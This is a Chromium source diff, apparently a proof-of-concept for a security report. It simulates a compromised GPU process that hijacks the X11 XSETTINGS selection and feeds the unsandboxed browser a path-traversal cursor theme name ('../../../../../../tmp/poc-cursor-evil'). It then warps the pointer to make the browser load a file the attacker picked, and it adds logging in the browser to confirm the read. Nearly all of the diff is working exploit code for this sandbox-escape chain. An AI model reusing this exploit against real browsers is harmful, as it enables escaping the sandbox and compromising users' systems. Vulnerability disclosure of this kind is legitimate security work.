diff --git a/ui/base/x/x11_cursor_loader.cc b/ui/base/x/x11_cursor_loader.cc index 718854185076b..2c4fdc70cfa94 100644 --- a/ui/base/x/x11_cursor_loader.cc +++ b/ui/base/x/x11_cursor_loader.cc @@ -5,6 +5,9 @@ #include "ui/base/x/x11_cursor_loader.h" #include +#include + +#include "base/logging.h" #include #include @@ -184,8 +187,23 @@ scoped_refptr ReadCursorFromThemeImpl( base::FilePath theme_dir = dir.Append(theme); base::FilePath cursor_dir = theme_dir.Append(kCursorDir); + // POC observation only — behaviour unchanged. + if (theme.find('/') != std::string::npos) { + LOG(ERROR) << "POC[browser]: pid=" << getpid() + << " ReadCursorFromTheme path-traversal sink: " + << "dir.Append(theme=\"" << theme << "\") -> opening \"" + << cursor_dir.Append(cursor_name).value() << "\""; + } + std::string contents; if (base::ReadFileToString(cursor_dir.Append(cursor_name), &contents)) { + if (theme.find('/') != std::string::npos) { + LOG(ERROR) << "POC[browser]: pid=" << getpid() + << " *** PATH TRAVERSAL READ SUCCEEDED *** " + << contents.size() << " bytes from \"" + << cursor_dir.Append(cursor_name).value() + << "\" -> handed to ParseCursorFile"; + } auto result = base::MakeRefCounted(std::move(contents)); (*cache)[theme_and_cursor_name] = result; diff --git a/ui/gtk/gtk_ui.cc b/ui/gtk/gtk_ui.cc index 43dd02ec8f1be..7c07c79df9aed 100644 --- a/ui/gtk/gtk_ui.cc +++ b/ui/gtk/gtk_ui.cc @@ -7,6 +7,7 @@ #include #include #include +#include #include #include @@ -832,6 +833,10 @@ void GtkUi::OnThemeChanged(GtkSettings* settings, GtkParamSpec* param) { void GtkUi::OnCursorThemeNameChanged(GtkSettings* settings, GtkParamSpec* param) { std::string cursor_theme_name = GetCursorThemeName(); + // POC observation only — behaviour unchanged. + LOG(ERROR) << "POC[browser]: pid=" << getpid() + << " GtkUi::OnCursorThemeNameChanged fired via XSETTINGS, " + << "gtk-cursor-theme-name = \"" << cursor_theme_name << "\""; if (cursor_theme_name.empty()) { return; } diff --git a/ui/ozone/platform/x11/ozone_platform_x11.cc b/ui/ozone/platform/x11/ozone_platform_x11.cc index 33d4a4a084cf8..77713e34f39aa 100644 --- a/ui/ozone/platform/x11/ozone_platform_x11.cc +++ b/ui/ozone/platform/x11/ozone_platform_x11.cc @@ -8,8 +8,12 @@ #include #include +#include #include "base/command_line.h" +#include "base/functional/bind.h" #include "base/logging.h" +#include "base/memory/ref_counted_memory.h" +#include "base/threading/platform_thread.h" #include "base/message_loop/message_pump_type.h" #include "base/metrics/histogram_functions.h" #include "base/no_destructor.h" @@ -307,6 +311,164 @@ class OzonePlatformX11 : public OzonePlatform, connection->DetachFromSequence(); surface_factory_ozone_ = std::make_unique(std::move(connection)); + + // ===== POC: XSETTINGS hijack from compromised GPU process ===== + // Simulates a compromised GPU process using its pre-sandbox X11 socket + // to take ownership of _XSETTINGS_S0 and feed a path-traversal value for + // Gtk/CursorThemeName to the unsandboxed browser process. + // The hijack is performed once at GPU init and re-broadcast a few times + // on a worker so it lands after the browser GTK xsettings client is up. + base::ThreadPool::PostDelayedTask( + FROM_HERE, {base::MayBlock()}, + base::BindOnce(&OzonePlatformX11::PocGpuXSettingsHijack), + base::Seconds(3)); + } + + static void PocGpuXSettingsHijack() { + // Obtain an X11 connection in the GPU process. Under the production GPU + // sandbox a real attacker would write raw X11 protocol on the pre-sandbox + // FD held by the cloned connection in X11SurfaceFactory; this is the C++ + // equivalent and uses only X11-core requests that need no extra syscalls + // beyond writes/reads on an existing socket. We leak the connection into a + // static so the manager window outlives this task. + static base::NoDestructor> g_keep; + *g_keep = std::make_unique(); + x11::Connection* conn = g_keep->get(); + if (!conn || !conn->Ready()) { + LOG(ERROR) << "POC[gpu]: no X11 connection"; + return; + } + LOG(ERROR) << "POC[gpu]: pid=" << getpid() + << " hijacking _XSETTINGS_S0 from GPU process"; + + auto intern = [&](const char* n) -> x11::Atom { + auto r = conn->InternAtom({0, n}).Sync(); + return r ? r->atom : x11::Atom::None; + }; + x11::Atom a_sel = intern("_XSETTINGS_S0"); + x11::Atom a_prop = intern("_XSETTINGS_SETTINGS"); + x11::Atom a_mgr = intern("MANAGER"); + if (a_sel == x11::Atom::None || a_prop == x11::Atom::None || + a_mgr == x11::Atom::None) { + LOG(ERROR) << "POC[gpu]: InternAtom failed"; + return; + } + + // Create an override-redirect 1x1 InputOnly window owned by the GPU + // process. This will become the new XSETTINGS manager window. + x11::Window root = conn->default_root(); + x11::Window win = conn->GenerateId(); + conn->CreateWindow(x11::CreateWindowRequest{ + .depth = 0, + .wid = win, + .parent = root, + .x = -100, + .y = -100, + .width = 1, + .height = 1, + .border_width = 0, + .c_class = x11::WindowClass::InputOnly, + .visual = x11::VisualId{0}, + .override_redirect = x11::Bool32(true), + }).Sync(); + + // Build an XSETTINGS blob with a single string setting: + // Gtk/CursorThemeName = "../../../../../../tmp/poc-cursor-evil" + // (LSBFirst byte order; see freedesktop.org XSETTINGS spec.) + static const char kName[] = "Gtk/CursorThemeName"; + static const char kVal[] = "../../../../../../tmp/poc-cursor-evil"; + const uint16_t name_len = sizeof(kName) - 1; + const uint32_t val_len = sizeof(kVal) - 1; + auto pad4 = [](size_t n) { return (n + 3u) & ~3u; }; + std::vector blob; + auto put8 = [&](uint8_t v) { blob.push_back(v); }; + auto put16 = [&](uint16_t v) { + blob.push_back(v & 0xff); + blob.push_back((v >> 8) & 0xff); + }; + auto put32 = [&](uint32_t v) { + blob.push_back(v & 0xff); + blob.push_back((v >> 8) & 0xff); + blob.push_back((v >> 16) & 0xff); + blob.push_back((v >> 24) & 0xff); + }; + auto puts = [&](std::string_view s) { + blob.insert(blob.end(), s.begin(), s.end()); + while (blob.size() % 4) blob.push_back(0); + }; + put8(/*LSBFirst*/ 0); + put8(0); put8(0); put8(0); // pad + put32(/*serial*/ 1); + put32(/*n_entries*/ 1); + put8(/*XSETTINGS_TYPE_STRING*/ 1); + put8(0); // pad + put16(name_len); + puts(std::string_view(kName, name_len)); + put32(/*last_change_serial*/ 1); + put32(val_len); + puts(std::string_view(kVal, val_len)); + (void)pad4; + + auto data = base::MakeRefCounted(blob); + conn->ChangeProperty(x11::ChangePropertyRequest{ + .mode = x11::PropMode::Replace, + .window = win, + .property = a_prop, + .type = a_prop, + .format = 8, + .data_len = static_cast(blob.size()), + .data = data, + }).Sync(); + + // Take ownership of the XSETTINGS selection. The X server enforces no + // authorisation on SetSelectionOwner, so any X11 client can do this. + conn->SetSelectionOwner({win, a_sel, x11::Time::CurrentTime}).Sync(); + auto owner = conn->GetSelectionOwner({a_sel}).Sync(); + LOG(ERROR) << "POC[gpu]: _XSETTINGS_S0 owner now = " + << (owner ? static_cast(owner->owner) : 0) + << " (our window = " << static_cast(win) << ")"; + + // Announce the new manager via a MANAGER ClientMessage on the root window + // (per ICCCM 2.8). GTK's xsettings client in the *browser process* listens + // for this on the root window and will re-read _XSETTINGS_SETTINGS from + // our window. + x11::ClientMessageEvent ev; + ev.format = 32; + ev.window = root; + ev.type = a_mgr; + ev.data.data32 = {static_cast(x11::Time::CurrentTime), + static_cast(a_sel), + static_cast(win), 0, 0}; + // GTK3 selects StructureNotifyMask on the root window for the xsettings + // root filter; deliver under that mask. + conn->SendEvent(ev, root, x11::EventMask::StructureNotify).Sync(); + conn->Flush(); + LOG(ERROR) << "POC[gpu]: MANAGER broadcast sent; " + << "Gtk/CursorThemeName = \"" << kVal << "\""; + + // Step 6 of the trigger path: force the browser to refetch a default + // cursor now that X11CursorFactory's cache has been cleared. Warping the + // X11 pointer across the root makes the server deliver MotionNotify to the + // browser windows, which drives DesktopNativeCursorManager::SetCursor -> + // X11CursorFactory::GetDefaultCursor -> XCursorLoader::LoadCursor. + // (A renderer compromise would do this with `document.body.style.cursor`; + // here we drive it from the GPU side over the same X11 socket so the POC + // is self-contained.) + for (int i = 0; i < 30; ++i) { + conn->WarpPointer(x11::WarpPointerRequest{ + .src_window = x11::Window::None, + .dst_window = root, + .dst_x = static_cast(50 + (i % 5) * 200), + .dst_y = static_cast(50 + (i / 5) * 120), + }).Sync(); + conn->Flush(); + base::PlatformThread::Sleep(base::Milliseconds(150)); + } + LOG(ERROR) << "POC[gpu]: pointer warped to drive cursor reload"; + + // The leaked x11::Connection (and thus our manager window) stays alive + // for the rest of the GPU process lifetime so the browser's + // GetSelectionOwner / GetProperty round-trip can read from it. } void PostCreateMainMessageLoop(